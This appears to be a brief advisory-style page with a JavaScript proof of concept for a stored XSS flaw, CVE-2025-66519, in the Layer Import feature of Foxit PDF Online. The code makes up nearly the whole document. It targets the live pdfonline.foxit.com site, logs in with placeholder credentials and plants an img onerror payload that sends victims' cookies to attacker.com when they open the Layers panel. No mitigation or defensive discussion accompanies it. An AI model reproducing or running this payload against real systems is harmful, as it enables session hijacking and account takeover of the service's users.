CVE-2025-66519: Foxit PDF Online Layer Import存储型XSS漏洞

// CVE-2025-66519 PoC - Stored XSS in Foxit PDF Online Layer Import // Target: pdfonline.foxit.com Layer Import functionality const targetUrl = 'https://pdfonline.foxit.com'; // Malicious payload for Layer name field const xssPayload = '<img src=x onerror="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)">\n'; // Step 1: Authenticate with low-privilege account async function authenticate() { const loginUrl = `${targetUrl}/auth/login`; // Replace with valid credentials const credentials = { username: '[email protected]', password: 'password123' }; const response = await fetch(loginUrl, { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify(credentials), credentials: 'include' }); return response.ok; } // Step 2: Create document and inject XSS via Layer Import async function injectXSS() { // Upload PDF or create new document const uploadUrl = `${targetUrl}/api/documents/upload`; // Intercept layer import request and modify layer name const layerData = { layerName: xssPayload, documentId: 'target-document-id', action: 'import' }; const response = await fetch(`${targetUrl}/api/layers/import`, { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify(layerData), credentials: 'include' }); return response.ok; } // Step 3: Trigger XSS when victim accesses Layers panel // Victim visits the document and opens Layers panel // The stored XSS payload executes automatically console.log('PoC for CVE-2025-66519'); console.log('Target:', targetUrl); console.log('Payload:', xssPayload);